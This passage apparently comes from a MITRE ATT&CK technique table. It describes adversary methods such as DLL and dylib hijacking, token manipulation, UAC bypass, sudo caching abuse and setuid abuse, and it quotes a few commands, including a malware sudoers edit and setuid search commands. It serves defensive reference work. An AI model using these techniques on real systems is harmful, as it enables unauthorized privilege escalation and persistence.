COR_PROFILER is a .NET Framework feature which allows developers to specify an unmanaged (or external of .NET) profiling DLL to be loaded into each .NET process that loads the Common Language Runtime (CLR). These profilers are designed to monitor, troubleshoot, and debug managed code executed by the .NET CLR.(Citation: Microsoft Profiling Mar 2017)(Citation: Microsoft COR_PROFILER Feb 2013)\n\nThe COR_PROFILER environment variable can be set at various scopes (system, user, or process) resulting in different levels of influence. System and user-wide environment variable scopes are specified in the Registry, where a [Component Object Model](https://attack.mitre.org/techniques/T1559/001) (COM) object can be registered as a profiler DLL. A process scope COR_PROFILER can also be created in-memory without modifying the Registry. Starting with .NET Framework 4, the profiling DLL does not need to be registered as long as the location of the DLL is specified in the COR_PROFILER_PATH environment variable.(Citation: Microsoft COR_PROFILER Feb 2013)\n\nAdversaries may abuse COR_PROFILER to establish persistence that executes a malicious DLL in the context of all .NET processes every time the CLR is invoked. The COR_PROFILER can also be used to elevate privileges (ex: [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002)) if the victim .NET process executes at a higher permission level, as well as to hook and [Impair Defenses](https://attack.mitre.org/techniques/T1562) provided by .NET processes.(Citation: RedCanary Mockingbird May 2020)(Citation: Red Canary COR_PROFILER May 2020)(Citation: Almond COR_PROFILER Apr 2019)(Citation: GitHub OmerYa Invisi-Shell)(Citation: subTee .NET Profilers May 2017)\nT1574.004 | Dylib Hijacking | Adversaries may execute their own payloads by placing a malicious dynamic library (dylib) with an expected name in a path a victim application searches at runtime. The dynamic loader will try to find the dylibs based on the sequential order of the search paths. Paths to dylibs may be prefixed with @rpath, which allows developers to use relative paths to specify an array of search paths used at runtime based on the location of the executable. Additionally, if weak linking is used, such as the LC_LOAD_WEAK_DYLIB function, an application will still execute even if an expected dylib is not present. Weak linking enables developers to run an application on multiple macOS versions as new APIs are added.\n\nAdversaries may gain execution by inserting malicious dylibs with the name of the missing dylib in the identified path.(Citation: Wardle Dylib Hijack Vulnerable Apps)(Citation: Wardle Dylib Hijacking OSX 2015)(Citation: Github EmpireProject HijackScanner)(Citation: Github EmpireProject CreateHijacker Dylib) Dylibs are loaded into an application's address space allowing the malicious dylib to inherit the application's privilege level and resources. Based on the application, this could result in privilege escalation and uninhibited network access. This method may also evade detection from security products since the execution is masked under a legitimate process.(Citation: Writing Bad Malware for OSX)(Citation: wardle artofmalware volume1)(Citation: MalwareUnicorn macOS Dylib Injection MachO)\nT1546.015 | Component Object Model Hijacking | Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects. COM is a system within Windows to enable interaction between software components through the operating system.(Citation: Microsoft Component Object Model) References to various COM objects are stored in the Registry. \n\nAdversaries can use the COM system to insert malicious code that can be executed in place of legitimate software through hijacking the COM references and relationships as a means for persistence. Hijacking a COM object requires a change in the Registry to replace a reference to a legitimate system component which may cause that component to not work when executed. When that system component is executed through normal system operation the adversary's code will be executed instead.(Citation: GDATA COM Hijacking) An adversary is likely to hijack objects that are used frequently enough to maintain a consistent level of persistence, but are unlikely to break noticeable functionality within the system as to avoid system instability that could lead to detection. \nT1078.004 | Cloud Accounts | Adversaries may obtain and abuse credentials of a cloud account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Cloud accounts are those created and configured by an organization for use by users, remote support, services, or for administration of resources within a cloud service provider or SaaS application. In some cases, cloud accounts may be federated with traditional identity management system, such as Window Active Directory.(Citation: AWS Identity Federation)(Citation: Google Federating GC)(Citation: Microsoft Deploying AD Federation)\n\nCompromised credentials for cloud accounts can be used to harvest sensitive data from online storage accounts and databases. Access to cloud accounts can also be abused to gain Initial Access to a network by abusing a [Trusted Relationship](https://attack.mitre.org/techniques/T1199). Similar to [Domain Accounts](https://attack.mitre.org/techniques/T1078/002), compromise of federated cloud accounts may allow adversaries to more easily move laterally within an environment.\n\nOnce a cloud account is compromised, an adversary may perform [Account Manipulation](https://attack.mitre.org/techniques/T1098) - for example, by adding [Additional Cloud Roles](https://attack.mitre.org/techniques/T1098/003) - to maintain persistence and potentially escalate their privileges.\nT1078.003 | Local Accounts | Adversaries may obtain and abuse credentials of a local account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Local accounts are those configured by an organization for use by users, remote support, services, or for administration on a single system or service.\n\nLocal Accounts may also be abused to elevate privileges and harvest credentials through [OS Credential Dumping](https://attack.mitre.org/techniques/T1003). Password reuse may allow the abuse of local accounts across a set of machines on a network for the purposes of Privilege Escalation and Lateral Movement. \nT1078.002 | Domain Accounts | Adversaries may obtain and abuse credentials of a domain account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion.(Citation: TechNet Credential Theft) Domain accounts are those managed by Active Directory Domain Services where access and permissions are configured across systems and services that are part of that domain. Domain accounts can cover users, administrators, and services.(Citation: Microsoft AD Accounts)\n\nAdversaries may compromise domain accounts, some with a high level of privileges, through various means such as [OS Credential Dumping](https://attack.mitre.org/techniques/T1003) or password reuse, allowing access to privileged resources of the domain.\nT1078.001 | Default Accounts | Adversaries may obtain and abuse credentials of a default account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Default accounts are those that are built-into an OS, such as the Guest or Administrator accounts on Windows systems. Default accounts also include default factory/provider set accounts on other types of systems, software, or devices, including the root user account in AWS and the default service account in Kubernetes.(Citation: Microsoft Local Accounts Feb 2019)(Citation: AWS Root User)(Citation: Threat Matrix for Kubernetes)\n\nDefault accounts are not limited to client machines, rather also include accounts that are preset for equipment such as network devices and computer applications whether they are internal, open source, or commercial. Appliances that come preset with a username and password combination pose a serious threat to organizations that do not change it post installation, as they are easy targets for an adversary. Similarly, adversaries may also utilize publicly disclosed or stolen [Private Keys](https://attack.mitre.org/techniques/T1552/004) or credential materials to legitimately connect to remote environments via [Remote Services](https://attack.mitre.org/techniques/T1021).(Citation: Metasploit SSH Module)\nT1574.006 | Dynamic Linker Hijacking | Adversaries may execute their own malicious payloads by hijacking environment variables the dynamic linker uses to load shared libraries. During the execution preparation phase of a program, the dynamic linker loads specified absolute paths of shared libraries from environment variables and files, such as LD_PRELOAD on Linux or DYLD_INSERT_LIBRARIES on macOS. Libraries specified in environment variables are loaded first, taking precedence over system libraries with the same function name.(Citation: Man LD.SO)(Citation: TLDP Shared Libraries)(Citation: Apple Doco Archive Dynamic Libraries) These variables are often used by developers to debug binaries without needing to recompile, deconflict mapped symbols, and implement custom functions without changing the original library.(Citation: Baeldung LD_PRELOAD)\n\nOn Linux and macOS, hijacking dynamic linker variables may grant access to the victim process's memory, system/network resources, and possibly elevated privileges. This method may also evade detection from security products since the execution is masked under a legitimate process. Adversaries can set environment variables via the command line using the export command, setenv function, or putenv function. Adversaries can also leverage [Dynamic Linker Hijacking](https://attack.mitre.org/techniques/T1574/006) to export variables in a shell or set variables programmatically using higher level syntax such Python\u2019s os.environ.\n\nOn Linux, adversaries may set LD_PRELOAD to point to malicious libraries that match the name of legitimate libraries which are requested by a victim program, causing the operating system to load the adversary's malicious code upon execution of the victim program. LD_PRELOAD can be set via the environment variable or /etc/ld.so.preload file.(Citation: Man LD.SO)(Citation: TLDP Shared Libraries) Libraries specified by LD_PRELOAD are loaded and mapped into memory by dlopen() and mmap() respectively.(Citation: Code Injection on Linux and macOS)(Citation: Uninformed Needle) (Citation: Phrack halfdead 1997)(Citation: Brown Exploiting Linkers) \n\nOn macOS this behavior is conceptually the same as on Linux, differing only in how the macOS dynamic libraries (dyld) is implemented at a lower level. Adversaries can set the DYLD_INSERT_LIBRARIES environment variable to point to malicious libraries containing names of legitimate libraries or functions requested by a victim program.(Citation: TheEvilBit DYLD_INSERT_LIBRARIES)(Citation: Timac DYLD_INSERT_LIBRARIES)(Citation: Gabilondo DYLD_INSERT_LIBRARIES Catalina Bypass) \nT1574.002 | DLL Side-Loading | Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1574/001), side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).\n\nSide-loading takes advantage of the DLL search order used by the loader by positioning both the victim application and malicious payload(s) alongside each other. Adversaries likely use side-loading as a means of masking actions they perform under a legitimate, trusted, and potentially elevated system or software process. Benign executables used to side-load payloads may not be flagged during delivery and/or execution. Adversary payloads may also be encrypted/packed or otherwise obfuscated until loaded into the memory of the trusted process.(Citation: FireEye DLL Side-Loading)\nT1574.001 | DLL Search Order Hijacking | Adversaries may execute their own malicious payloads by hijacking the search order used to load DLLs. Windows systems use a common method to look for required DLLs to load into a program. (Citation: Microsoft Dynamic Link Library Search Order)(Citation: FireEye Hijacking July 2010) Hijacking DLL loads may be for the purpose of establishing persistence as well as elevating privileges and/or evading restrictions on file execution.\n\nThere are many ways an adversary can hijack DLL loads. Adversaries may plant trojan dynamic-link library files (DLLs) in a directory that will be searched before the location of a legitimate library that will be requested by a program, causing Windows to load their malicious library when it is called for by the victim program. Adversaries may also perform DLL preloading, also called binary planting attacks, (Citation: OWASP Binary Planting) by placing a malicious DLL with the same name as an ambiguously specified DLL in a location that Windows searches before the legitimate DLL. Often this location is the current working directory of the program.(Citation: FireEye fxsst June 2011) Remote DLL preloading attacks occur when a program sets its current directory to a remote location such as a Web share before loading a DLL. (Citation: Microsoft Security Advisory 2269637)\n\nAdversaries may also directly modify the search order via DLL redirection, which after being enabled (in the Registry and creation of a redirection file) may cause a program to load a different DLL.(Citation: Microsoft Dynamic-Link Library Redirection)(Citation: Microsoft Manifests)(Citation: FireEye DLL Search Order Hijacking)\n\nIf a search order-vulnerable program is configured to run at a higher privilege level, then the adversary-controlled DLL that is loaded will also be executed at the higher level. In this case, the technique could be used for privilege escalation from user to administrator or SYSTEM or from administrator to SYSTEM, depending on the program. Programs that fall victim to path hijacking may appear to behave normally because malicious DLLs may be configured to also load the legitimate DLLs they were meant to replace.\nT1574.008 | Path Interception by Search Order Hijacking | Adversaries may execute their own malicious payloads by hijacking the search order used to load other programs. Because some programs do not call other programs using the full path, adversaries may place their own file in the directory where the calling program is located, causing the operating system to launch their malicious software at the request of the calling program.\n\nSearch order hijacking occurs when an adversary abuses the order in which Windows searches for programs that are not given a path. Unlike [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1574/001), the search order differs depending on the method that is used to execute the program. (Citation: Microsoft CreateProcess) (Citation: Windows NT Command Shell) (Citation: Microsoft WinExec) However, it is common for Windows to search in the directory of the initiating program before searching through the Windows system directory. An adversary who finds a program vulnerable to search order hijacking (i.e., a program that does not specify the path to an executable) may take advantage of this vulnerability by creating a program named after the improperly specified program and placing it within the initiating program's directory.\n\nFor example, \"example.exe\" runs \"cmd.exe\" with the command-line argument net user. An adversary may place a program called \"net.exe\" within the same directory as example.exe, \"net.exe\" will be run instead of the Windows system utility net. In addition, if an adversary places a program called \"net.com\" in the same directory as \"net.exe\", then cmd.exe /C net user will execute \"net.com\" instead of \"net.exe\" due to the order of executable extensions defined under PATHEXT. (Citation: Microsoft Environment Property)\n\nSearch order hijacking is also a common practice for hijacking DLL loads and is covered in [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1574/001).\nT1574.007 | Path Interception by PATH Environment Variable | Adversaries may execute their own malicious payloads by hijacking environment variables used to load libraries. Adversaries may place a program in an earlier entry in the list of directories stored in the PATH environment variable, which Windows will then execute when it searches sequentially through that PATH listing in search of the binary that was called from a script or the command line.\n\nThe PATH environment variable contains a list of directories. Certain methods of executing a program (namely using cmd.exe or the command-line) rely solely on the PATH environment variable to determine the locations that are searched for a program when the path for the program is not given. If any directories are listed in the PATH environment variable before the Windows directory, %SystemRoot%\\system32 (e.g., C:\\Windows\\system32), a program may be placed in the preceding directory that is named the same as a Windows program (such as cmd, PowerShell, or Python), which will be executed when that command is executed from a script or command-line.\n\nFor example, if C:\\example path precedes C:\\Windows\\system32 is in the PATH environment variable, a program that is named net.exe and placed in C:\\example path will be called instead of the Windows system \"net\" when \"net\" is executed from the command-line.\nT1574.009 | Path Interception by Unquoted Path | Adversaries may execute their own malicious payloads by hijacking vulnerable file path references. Adversaries can take advantage of paths that lack surrounding quotations by placing an executable in a higher level directory within the path, so that Windows will choose the adversary's executable to launch.\n\nService paths (Citation: Microsoft CurrentControlSet Services) and shortcut paths may also be vulnerable to path interception if the path has one or more spaces and is not surrounded by quotation marks (e.g., C:\\unsafe path with space\\program.exe vs. \"C:\\safe path with space\\program.exe\"). (Citation: Help eliminate unquoted path) (stored in Windows Registry keys) An adversary can place an executable in a higher level directory of the path, and Windows will resolve that executable instead of the intended executable. For example, if the path in a shortcut is C:\\program files\\myapp.exe, an adversary may create a program at C:\\program.exe that will be run instead of the intended program. (Citation: Windows Unquoted Services) (Citation: Windows Privilege Escalation Guide)\n\nThis technique can be used for persistence if executables are called on a regular basis, as well as privilege escalation if intercepted executables are started by a higher privileged process.\nT1574.011 | Services Registry Permissions Weakness | Adversaries may execute their own malicious payloads by hijacking the Registry entries used by services. Adversaries may use flaws in the permissions for Registry keys related to services to redirect from the originally specified executable to one that they control, in order to launch their own code when a service starts. Windows stores local service configuration information in the Registry under HKLM\\SYSTEM\\CurrentControlSet\\Services. The information stored under a service's Registry keys can be manipulated to modify a service's execution parameters through tools such as the service controller, sc.exe, [PowerShell](https://attack.mitre.org/techniques/T1059/001), or [Reg](https://attack.mitre.org/software/S0075). Access to Registry keys is controlled through access control lists and user permissions. (Citation: Registry Key Security)(Citation: malware_hides_service)\n\nIf the permissions for users and groups are not properly set and allow access to the Registry keys for a service, adversaries may change the service's binPath/ImagePath to point to a different executable under their control. When the service starts or is restarted, then the adversary-controlled program will execute, allowing the adversary to establish persistence and/or privilege escalation to the account context the service is set to execute under (local/domain account, SYSTEM, LocalService, or NetworkService).\n\nAdversaries may also alter other Registry keys in the service\u2019s Registry tree. For example, the FailureCommand key may be changed so that the service is executed in an elevated context anytime the service fails or is intentionally corrupted.(Citation: Kansa Service related collectors)(Citation: Tweet Registry Perms Weakness)\n\nThe Performance key contains the name of a driver service's performance DLL and the names of several exported functions in the DLL.(Citation: microsoft_services_registry_tree) If the Performance key is not already present and if an adversary-controlled user has the Create Subkey permission, adversaries may create the Performance key in the service\u2019s Registry tree to point to a malicious DLL.(Citation: insecure_reg_perms)\n\nAdversaries may also add the Parameters key, which stores driver-specific data, or other custom subkeys for their malicious services to establish persistence or enable other malicious activities.(Citation: microsoft_services_registry_tree)(Citation: troj_zegost) Additionally, If adversaries launch their malicious services using svchost.exe, the service\u2019s file may be identified using HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\servicename\\Parameters\\ServiceDll.(Citation: malware_hides_service)\nT1574.005 | Executable Installer File Permissions Weakness | Adversaries may execute their own malicious payloads by hijacking the binaries used by an installer. These processes may automatically execute specific binaries as part of their functionality or to perform other actions. If the permissions on the file system directory containing a target binary, or permissions on the binary itself, are improperly set, then the target binary may be overwritten with another binary using user-level permissions and executed by the original process. If the original process and thread are running under a higher permissions level, then the replaced binary will also execute under higher-level permissions, which could include SYSTEM.\n\nAnother variation of this technique can be performed by taking advantage of a weakness that is common in executable, self-extracting installers. During the installation process, it is common for installers to use a subdirectory within the %TEMP% directory to unpack binaries such as DLLs, EXEs, or other payloads. When installers create subdirectories and files they often do not set appropriate permissions to restrict write access, which allows for execution of untrusted code placed in the subdirectories or overwriting of binaries used in the installation process. This behavior is related to and may take advantage of [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1574/001).\n\nAdversaries may use this technique to replace legitimate binaries with malicious ones as a means of executing code at a higher permissions level. Some installers may also require elevated privileges that will result in privilege escalation when executing adversary controlled code. This behavior is related to [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002). Several examples of this weakness in existing common installers have been reported to software vendors.(Citation: mozilla_sec_adv_2012) (Citation: Executable Installers are Vulnerable) If the executing process is set to run at a specific time or during a certain event (e.g., system bootup) then this technique can also be used for persistence.\nT1574.010 | Services File Permissions Weakness | Adversaries may execute their own malicious payloads by hijacking the binaries used by services. Adversaries may use flaws in the permissions of Windows services to replace the binary that is executed upon service start. These service processes may automatically execute specific binaries as part of their functionality or to perform other actions. If the permissions on the file system directory containing a target binary, or permissions on the binary itself are improperly set, then the target binary may be overwritten with another binary using user-level permissions and executed by the original process. If the original process and thread are running under a higher permissions level, then the replaced binary will also execute under higher-level permissions, which could include SYSTEM.\n\nAdversaries may use this technique to replace legitimate binaries with malicious ones as a means of executing code at a higher permissions level. If the executing process is set to run at a specific time or during a certain event (e.g., system bootup) then this technique can also be used for persistence.\nT1574 | Hijack Execution Flow | Adversaries may execute their own malicious payloads by hijacking the way operating systems run programs. Hijacking execution flow can be for the purposes of persistence, since this hijacked execution may reoccur over time. Adversaries may also use these mechanisms to elevate privileges or evade defenses, such as application control or other restrictions on execution.\n\nThere are many ways an adversary may hijack the flow of execution, including by manipulating how the operating system locates programs to be executed. How the operating system locates libraries to be used by a program can also be intercepted. Locations where the operating system looks for programs/resources, such as file directories and in the case of Windows the Registry, could also be poisoned to include malicious payloads.\nT1134.005 | SID-History Injection | Adversaries may use SID-History Injection to escalate privileges and bypass access controls. The Windows security identifier (SID) is a unique value that identifies a user or group account. SIDs are used by Windows security in both security descriptors and access tokens. (Citation: Microsoft SID) An account can hold additional SIDs in the SID-History Active Directory attribute (Citation: Microsoft SID-History Attribute), allowing inter-operable account migration between domains (e.g., all values in SID-History are included in access tokens).\n\nWith Domain Administrator (or equivalent) rights, harvested or well-known SID values (Citation: Microsoft Well Known SIDs Jun 2017) may be inserted into SID-History to enable impersonation of arbitrary users/groups such as Enterprise Administrators. This manipulation may result in elevated access to local resources and/or access to otherwise inaccessible domains via lateral movement techniques such as [Remote Services](https://attack.mitre.org/techniques/T1021), [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002), or [Windows Remote Management](https://attack.mitre.org/techniques/T1021/006).\nT1134.004 | Parent PID Spoofing | Adversaries may spoof the parent process identifier (PPID) of a new process to evade process-monitoring defenses or to elevate privileges. New processes are typically spawned directly from their parent, or calling, process unless explicitly specified. One way of explicitly assigning the PPID of a new process is via the CreateProcess API call, which supports a parameter that defines the PPID to use.(Citation: DidierStevens SelectMyParent Nov 2009) This functionality is used by Windows features such as User Account Control (UAC) to correctly set the PPID after a requested elevated process is spawned by SYSTEM (typically via svchost.exe or consent.exe) rather than the current user context.(Citation: Microsoft UAC Nov 2018)\n\nAdversaries may abuse these mechanisms to evade defenses, such as those blocking processes spawning directly from Office documents, and analysis targeting unusual/potentially malicious parent-child process relationships, such as spoofing the PPID of [PowerShell](https://attack.mitre.org/techniques/T1059/001)/[Rundll32](https://attack.mitre.org/techniques/T1218/011) to be explorer.exe rather than an Office document delivered as part of [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001).(Citation: CounterCept PPID Spoofing Dec 2018) This spoofing could be executed via [Visual Basic](https://attack.mitre.org/techniques/T1059/005) within a malicious Office document or any code that can perform [Native API](https://attack.mitre.org/techniques/T1106).(Citation: CTD PPID Spoofing Macro Mar 2019)(Citation: CounterCept PPID Spoofing Dec 2018)\n\nExplicitly assigning the PPID may also enable elevated privileges given appropriate access rights to the parent process. For example, an adversary in a privileged user context (i.e. administrator) may spawn a new process and assign the parent as a process running as SYSTEM (such as lsass.exe), causing the new process to be elevated via the inherited access token.(Citation: XPNSec PPID Nov 2017)\nT1134.003 | Make and Impersonate Token | Adversaries may make and impersonate tokens to escalate privileges and bypass access controls. If an adversary has a username and password but the user is not logged onto the system, the adversary can then create a logon session for the user using the LogonUser function. The function will return a copy of the new session's access token and the adversary can use SetThreadToken to assign the token to a thread.\nT1134.002 | Create Process with Token | Adversaries may create a new process with a different token to escalate privileges and bypass access controls. Processes can be created with the token and resulting security context of another user using features such as CreateProcessWithTokenW and runas.(Citation: Microsoft RunAs)\n\nCreating processes with a different token may require the credentials of the target user, specific privileges to impersonate that user, or access to the token to be used (ex: gathered via other means such as [Token Impersonation/Theft](https://attack.mitre.org/techniques/T1134/001) or [Make and Impersonate Token](https://attack.mitre.org/techniques/T1134/003)).\nT1134.001 | Token Impersonation/Theft | Adversaries may duplicate then impersonate another user's token to escalate privileges and bypass access controls. An adversary can create a new access token that duplicates an existing token using DuplicateToken(Ex). The token can then be used with ImpersonateLoggedOnUser to allow the calling thread to impersonate a logged on user's security context, or with SetThreadToken to assign the impersonated token to a thread.\n\nAn adversary may do this when they have a specific, existing process they want to assign the new token to. For example, this may be useful for when the target user has a non-network logon session on the system.\nT1548.004 | Elevated Execution with Prompt | Adversaries may leverage the AuthorizationExecuteWithPrivileges API to escalate privileges by prompting the user for credentials.(Citation: AppleDocs AuthorizationExecuteWithPrivileges) The purpose of this API is to give application developers an easy way to perform operations with root privileges, such as for application installation or updating. This API does not validate that the program requesting root privileges comes from a reputable source or has been maliciously modified. \n\nAlthough this API is deprecated, it still fully functions in the latest releases of macOS. When calling this API, the user will be prompted to enter their credentials but no checks on the origin or integrity of the program are made. The program calling the API may also load world writable files which can be modified to perform malicious behavior with elevated privileges.\n\nAdversaries may abuse AuthorizationExecuteWithPrivileges to obtain root privileges in order to install malicious software on victims and install persistence mechanisms.(Citation: Death by 1000 installers; it's all broken!)(Citation: Carbon Black Shlayer Feb 2019)(Citation: OSX Coldroot RAT) This technique may be combined with [Masquerading](https://attack.mitre.org/techniques/T1036) to trick the user into granting escalated privileges to malicious code.(Citation: Death by 1000 installers; it's all broken!)(Citation: Carbon Black Shlayer Feb 2019) This technique has also been shown to work by modifying legitimate programs present on the machine that make use of this API.(Citation: Death by 1000 installers; it's all broken!)\nT1548.003 | Sudo and Sudo Caching | Adversaries may perform sudo caching and/or use the sudoers file to elevate privileges. Adversaries may do this to execute commands as other users or spawn processes with higher privileges.\n\nWithin Linux and MacOS systems, sudo (sometimes referred to as \"superuser do\") allows users to perform commands from terminals with elevated privileges and to control who can perform these commands on the system. The sudo command \"allows a system administrator to delegate authority to give certain users (or groups of users) the ability to run some (or all) commands as root or another user while providing an audit trail of the commands and their arguments.\"(Citation: sudo man page 2018) Since sudo was made for the system administrator, it has some useful configuration features such as a timestamp_timeout, which is the amount of time in minutes between instances of sudo before it will re-prompt for a password. This is because sudo has the ability to cache credentials for a period of time. Sudo creates (or touches) a file at /var/db/sudo with a timestamp of when sudo was last run to determine this timeout. Additionally, there is a tty_tickets variable that treats each new tty (terminal session) in isolation. This means that, for example, the sudo timeout of one tty will not affect another tty (you will have to type the password again).\n\nThe sudoers file, /etc/sudoers, describes which users can run which commands and from which terminals. This also describes which commands users can run as other users or groups. This provides the principle of least privilege such that users are running in their lowest possible permissions for most of the time and only elevate to other users or permissions as needed, typically by prompting for a password. However, the sudoers file can also specify when to not prompt users for passwords with a line like user1 ALL=(ALL) NOPASSWD: ALL.(Citation: OSX.Dok Malware) Elevated privileges are required to edit this file though.\n\nAdversaries can also abuse poor configurations of these mechanisms to escalate privileges without needing the user's password. For example, /var/db/sudo's timestamp can be monitored to see if it falls within the timestamp_timeout range. If it does, then malware can execute sudo commands without needing to supply the user's password. Additional, if tty_tickets is disabled, adversaries can do this from any tty for that user.\n\nIn the wild, malware has disabled tty_tickets to potentially make scripting easier by issuing echo \\'Defaults !tty_tickets\\' >> /etc/sudoers.(Citation: cybereason osx proton) In order for this change to be reflected, the malware also issued killall Terminal. As of macOS Sierra, the sudoers file has tty_tickets enabled by default.\nT1548.002 | Bypass User Account Control | Adversaries may bypass UAC mechanisms to elevate process privileges on system. Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action.(Citation: TechNet How UAC Works)\n\nIf the UAC protection level of a computer is set to anything but the highest level, certain Windows programs can elevate privileges or execute some elevated [Component Object Model](https://attack.mitre.org/techniques/T1559/001) objects without prompting the user through the UAC notification box.(Citation: TechNet Inside UAC)(Citation: MSDN COM Elevation) An example of this is use of [Rundll32](https://attack.mitre.org/techniques/T1218/011) to load a specifically crafted DLL which loads an auto-elevated [Component Object Model](https://attack.mitre.org/techniques/T1559/001) object and performs a file operation in a protected directory which would typically require elevated access. Malicious software may also be injected into a trusted process to gain elevated privileges without prompting a user.(Citation: Davidson Windows)\n\nMany methods have been discovered to bypass UAC. The Github readme page for UACME contains an extensive list of methods(Citation: Github UACMe) that have been discovered and implemented, but may not be a comprehensive list of bypasses. Additional bypass methods are regularly discovered and some used in the wild, such as:\n\n* eventvwr.exe can auto-elevate and execute a specified binary or script.(Citation: enigma0x3 Fileless UAC Bypass)(Citation: Fortinet Fareit)\n\nAnother bypass is possible through some lateral movement techniques if credentials for an account with administrator privileges are known, since UAC is a single system security mechanism, and the privilege or integrity of a process running on one system will be unknown on remote systems and default to high integrity.(Citation: SANS UAC Bypass)\nT1548.001 | Setuid and Setgid | An adversary may abuse configurations where an application has the setuid or setgid bits set in order to get code running in a different (and possibly more privileged) user\u2019s context. On Linux or macOS, when the setuid or setgid bits are set for an application binary, the application will run with the privileges of the owning user or group respectively.(Citation: setuid man page) Normally an application is run in the current user\u2019s context, regardless of which user or group owns the application. However, there are instances where programs need to be executed in an elevated context to function properly, but the user running them may not have the specific required privileges.\n\nInstead of creating an entry in the sudoers file, which must be done by root, any user can specify the setuid or setgid flag to be set for their own applications (i.e. [Linux and Mac File and Directory Permissions Modification](https://attack.mitre.org/techniques/T1222/002)). The chmod command can set these bits with bitmasking, chmod 4777 [file] or via shorthand naming, chmod u+s [file]. This will enable the setuid bit. To enable the setgit bit, chmod 2775 and chmod g+s can be used.\n\nAdversaries can use this mechanism on their own malware to make sure they're able to execute in elevated contexts in the future.(Citation: OSX Keydnap malware) This abuse is often part of a \"shell escape\" or other actions to bypass an execution environment with restricted permissions.\n\nAlternatively, adversaries may choose to find and target vulnerable binaries with the setuid or setgid bits already enabled (i.e. [File and Directory Discovery](https://attack.mitre.org/techniques/T1083)). The setuid and setguid bits are indicated with an \"s\" instead of an \"x\" when viewing a file's attributes via ls -l. The find command can also be used to search for such files. For example, find / -perm +4000 2>/dev/null can be used to find files with setuid set and find / -perm +2000 2>/dev/null may be used for setgid. Binaries that have these bits set may then be abused by adversaries.(Citation: GTFOBins Suid)\nT1548 | Abuse Elevation Control Mechanism | Adversaries may circumvent mechanisms designed to control elevate privileges to gain higher-level permissions. Most modern systems contain native elevation control mechanisms that are intended to limit privileges that a user can perform on a machine. Authorization has to be granted to specific users in order to perform tasks that can be considered of higher risk. An adversary can perform several methods to take advantage of built-in control mechanisms in order to escalate privileges on a system.\nT1547.011 | Plist Modification | Adversaries can modify property list files (plist files) to execute their code as part of establishing persistence. Plist files are used by macOS applications to store properties and configuration settings for applications and services. Applications use information plist files, Info.plist, to tell the operating system how to handle the application at runtime using structured metadata in the form of keys and values. Plist files are formatted in XML and based on Apple's Core Foundation DTD and can be saved in text or binary format.(Citation: fileinfo plist file description) \n\nAdversaries can modify paths to executed binaries, add command line arguments, and insert key/pair values to plist files in auto-run locations which execute upon user logon or system startup. Through modifying plist files in these locations, adversaries can also execute a malicious dynamic library (dylib) by adding a dictionary containing the DYLD_INSERT_LIBRARIES key combined with a path to a malicious dylib under the EnvironmentVariables key in a plist file. Upon user logon, the plist is called for execution and the malicious dylib is executed within the process space. Persistence can also be achieved by modifying the LSEnvironment key in the application's Info.plist file.(Citation: wardle artofmalware volume1)\nT1547.010 | Port Monitors | Adversaries may use port monitors to run an adversary supplied DLL during system boot for persistence or privilege escalation. A port monitor can be set through the AddMonitor API call to set a DLL to be loaded at startup.(Citation: AddMonitor) This DLL can be located in C:\\Windows\\System32 and will be loaded by the print spooler service, spoolsv.exe, on boot. The spoolsv.exe process also runs under SYSTEM level permissions.(Citation: Bloxham) Alternatively, an arbitrary DLL can be loaded if permissions allow writing a fully-qualified pathname for that DLL to HKLM\\SYSTEM\\CurrentControlSet\\Control\\Print\\Monitors. \n\nThe Registry key contains entries for the following:\n\n* Local Port\n* Standard TCP/IP Port\n* USB Monitor\n* WSD Port\n\nAdversaries can use this technique to load malicious code at startup that will persist on system reboot and execute as SYSTEM.\nT1547.009 | Shortcut Modification | Adversaries may create or modify shortcuts that can execute a program during system boot or user login. Shortcuts or symbolic links are used to reference other files or programs that will be opened or executed when the shortcut is clicked or executed by a system startup process.\n\nAdversaries may abuse shortcuts in the startup folder to execute their tools and achieve persistence.(Citation: Shortcut for Persistence ) Although often used as payloads in an infection chain (e.g. [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001)), adversaries may also create a new shortcut as a means of indirection, while also abusing [Masquerading](https://attack.mitre.org/techniques/T1036) to make the malicious shortcut appear as a legitimate program. Adversaries can also edit the target path or entirely replace an existing shortcut so their malware will be executed instead of the intended legitimate program.\n\nShortcuts can also be abused to establish persistence by implementing other methods. For example, LNK browser extensions may be modified (e.g. [Browser Extensions](https://attack.mitre.org/techniques/T1176)) to persistently launch malware.\nT1547.008 | LSASS Driver | Adversaries may modify or add LSASS drivers to obtain persistence on compromised systems. The Windows security subsystem is a set of components that manage and enforce the security policy for a computer or domain. The Local Security Authority (LSA) is the main component responsible for local security policy and user authentication. The LSA includes multiple dynamic link libraries (DLLs) associated with various other security functions, all of which run in the context of the LSA Subsystem Service (LSASS) lsass.exe process.(Citation: Microsoft Security Subsystem)\n\nAdversaries may target LSASS drivers to obtain persistence. By either replacing or adding illegitimate drivers (e.g., [Hijack Execution Flow](https://attack.mitre.org/techniques/T1574)), an adversary can use LSA operations to continuously execute malicious payloads.\nT1547.007 | Re-opened Applications | Adversaries may modify plist files to automatically run an application when a user logs in. When a user logs out or restarts via the macOS Graphical User Interface (GUI), a prompt is provided to the user with a checkbox to \"Reopen windows when logging back 